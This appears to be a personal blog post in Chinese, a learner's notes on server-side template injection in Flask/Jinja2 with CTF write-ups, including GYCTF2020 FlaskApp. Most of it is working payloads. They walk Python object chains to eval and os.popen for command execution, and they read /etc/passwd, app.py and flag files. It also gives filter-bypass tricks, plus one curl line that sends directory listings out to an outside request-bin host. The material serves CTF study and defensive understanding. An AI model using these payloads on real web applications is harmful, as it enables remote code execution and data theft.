ssti模板注入


不会python看的我好懵,一些类、对象和魔术变量的部分都不是太懂。。。。

ssti概述

贴个大佬的文章

浅析SSTI(python沙盒绕过)_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)

[关于python魔术方法payload:““.class.mro2].subclasses()40.read() 的解释_xiao__1bai的博客-CSDN博客

模板注入总结_Herbert_555的博客-CSDN博客

SSTI(Server-Side Template Injection);即模板注入,与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑;
漏洞成因在于:render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{ { } }在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{ { } }包裹的内容当做变量解析替换。比如{ {1+1} }会被解析成2。

flask SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

flask基本知识

flask采用装饰器来指定路由,默认的模板渲染引擎为Jinja2。其中模板的三种主要语法为

  • :装载一个变量,渲染模板的时候,可以传入变量名和变量值模板会自动替换变量为传入的变量值
  • { % … % }:装载一个控制语句
  • :装载一个注释

流程:

  1. ​ 获取基本类

  2. ​ 获取基本类的子类

  3. ​ 找到重载过的__init__

  4. ​ 查看其引用__builtins__

  5. ​ 调用其中可用的函数

获取基本类

​ 利用__bases__或者是__mro__函数

''.__class__.__mro__[2] 
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

//实话实说最后一个不是很懂

获取基类的子类

​ 利用__subclasses__函数

object.__subclasses__()
{{''.__class__.__mro__[2].__subclasses__()}}//这句可以查找所有的类

SSTI的主要目的就是从这么多子类中找出可以利用的类(一般是指读写文件的类)加以利用

我们可以利用的方法有<type 'file'>等,(一般file在第40号)

找到重载过的__init__

''.__class__.__mro__[2].__subclasses__()[59].__init__
	<unbound method WarningMessage.__init__
    
    {().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,

查看其引用__builtins__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

使用os模块执行命令来读取flag或者执行命令

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')

{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}

来、姿势

1、config

{{config}}可以获取当前

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

2、self

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

3、""、[]、()等数据结构

主要目的是配合__class__.__mro__[2]这样找到object
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。

例如:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

常见的过滤绕过

(1)只过滤[]

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
.也被过滤,使用原生JinJa2函数|attr()
request.__class__改成request|attr("__class__")

(2)过滤_

利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参

(3)关键字过滤

  • base64编码绕过
    __getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

  • 字符串拼接绕过
    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
    {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(4)过滤{ {

使用{% if ... %}1{% endif %},例如

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

(5)引号内十六进制绕过

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
_`是`\x5f`,`.`是`\x2E

(6)" ' chr等被过滤,无法引入字符串

  • 直接拼接键名
dict(buil=aa,tins=dd)|join()
  • 利用stringpoplistslicefirst等过滤器从已有变量里面直接找
(app.__doc__|list()).pop(102)|string()
  • 构造出%c后,用格式化字符串代替chr
{%set udl=dict(a=pc,c=c).values()|join %}      # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}

(7)+等被过滤,无法拼接字符串

  • ~
    在jinja中可以拼接字符串
  • 格式化字符串
    同上

例一:
warnings.catch_warnings类

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

PS:由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]

最后获取flag

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}   

例二:

class’site._Printer’类

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

获取flag

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

例三:
popen

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek')}}

wp

搭了个靶场

image-20210627213543193

level 1

先找基本类

image-20210627213659700

再获取基本类的子类

image-20210627213839196

找到重载过的__init__

{{''.__class__.__mro__[0].__subclasses__()[59].__init__}}

image-20210627214555384

查看其引用__builtins__

image-20210627214844624

利用eval命令执行来读取flag

{{''.__class__.__mro__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

image-20210627215059572

level 2

这个过滤了{ { ,所以要采用{ % % }的形式

{ % % }内加控制语句

且这里展示数据要利用{ % print % }

{% print ''.__class__.__mro__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()') %}

image-20210627232829026

还有一种是利用控制语句

寻找符合条件的子类再利用WarningMessage的__bulitins__执行代码这个还不太懂先贴一下payload

{%for sub in ''.__class__.__base__.__subclasses__()%}{%if  sub.__name__=='catch_warnings'%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')%}{%endif%}{%endfor%}

补:

{%if	sub.__name__=='catch_warnings'%}

要利用<class ‘warnings.catch_warnings’>来调用eval os等命令
<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等

调用file

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()      #把 read() 改为 write() 就是写文件

import os

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read()

调用eval

[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()')

调用system方法。(不包含system,可以绕过过滤system的情况)

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

利用commands进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

level 3

在学了在学了(

[GYCTF2020]FlaskApp

题目里有base64加密、解密和一个提示页面,试一下就可以知道解密框存在ssti注入,且当报错时会进入debug模式在这里可以看到一部分源码

image-20210629011031131

试着访问app。py

{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='catch_warnings' %}{{ i.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

image-20210629002905912

image-20210629002847559

这里可以看到过滤了一些内容

再查找目录内内容

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。

image-20210629003200355

看见一个this_is_the_flag.txt

image-20210629003236918

尝试去访问,得到flag

{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}

也可以利用切片的方式

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

image-20210629010815862


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
 上一篇
反序列化 反序列化
基础知识php的序列化和反序列化主要是通过serialize和unserialize两个函数 serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象,对反序列化进行利用也主要是通过其中的魔术方法
2021-06-30 Ethe
下一篇 
buu刷题记录 buu刷题记录
记录一下自己buu的刷题进度,留下点wp方便以后看
2021-06-17 Ethe
  目录